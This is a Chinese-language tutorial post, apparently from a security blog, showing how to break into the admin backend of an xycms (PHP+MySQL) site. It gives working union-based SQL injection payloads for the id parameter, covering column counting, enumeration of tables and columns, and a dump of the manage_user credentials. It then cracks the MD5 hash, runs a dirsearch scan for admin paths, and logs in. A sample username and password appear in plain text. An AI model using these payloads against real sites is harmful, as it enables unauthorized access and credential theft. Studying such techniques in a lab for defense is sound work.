xycms登录后台详细教程(php+mysql)
2022-10-28 15:19:56
432
{{single.collect_count}}

xycms搭建过程省略.....

首页界面

 

在网站查找注入点,也就是可能会和数据库有交互的地方,?id=13可知此处可能与数据库有交互,之后在此处进行测试 

 

测试

1 and 1=1  1 and 1=2 //int型注入

1’ and 1=1#    1’ and 1=2# //char型注入

 

可知为int型注入,char型就不进行测试了

order by 列数 //查看数据的列数,常用二分法

order by 10 //正常显示  order by 11 //不正常显示

所以得知是10列,

id=13 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 //联合查询,后面的数字有跟前上一步结果输入

这时会有数字显示在页面上,这些都是注入点,根据回显情况我们可以让我们想要的数据回显在页面上,

这里我选择数字10这个位置

id=13 and 1=2 union select 1,2,3,4,5,6,7,8,9,database() //查看当前数据库为xycms 

 

 and 1=2 union select 1,2,3,4,5,6,7,8,9,table_name from information_schema.tables where table_schema='xycms' //获取表名

 

and 1=2 union select 1,2,3,4,5,6,7,8,9,table_name from information_schema.tables where table_schema='xycms' limit 1,1 //获取第二张表名

一个数据库肯定不止一张表 limit 2,1 //表3  limit 3,1  //表4......以此类推

and 1=2 union select 1,2,3,4,5,6,7,8,9,column_name from information_schema.columns where table_name='common' limit 0,1    //获取表common列名1

同样的不止一张表  limit 1,1 (列2 ).....

 

and 1=2 union select 1,2,3,4,5,6,7,8,9,id from common //获取ID信息

同样不止一个ID,可以加limit

 

通过以上的方法一个一个查询可以找到表为manage_user下有列名为m_name和m_pwd

and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(m_name,'---',m_pwd) from manage_user

//查找用户名和密码(同样也不止一组)

 

admin111---24FBF59E4D9CC107F6CD64838EF63F98

密码是md5加密,在线md5加解密

admin111---qazxsw111

我们已经拿到账号密码,现在就是找后台登录界面

敏感目录扫描工具:dirsearch(百度网盘下载,提取码:bmxx)

环境:python

工具下载完成后,找到目录并在当前目录下打开cmd,

 

python dirsearch.py -u "扫描的url地址" -e *

python dirsearch.py -u "http://www.cjl.xycms.com/" -e *   //扫描敏感目录

 

主要看状态码为200的,状态码200为访问成功,看到一些比较像登录后台系统的文件目录,都尝试访问一下

最后通过system这个目录登录

 

输入刚刚获得的账号密码admin111---qazxsw111,登录成功。 

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}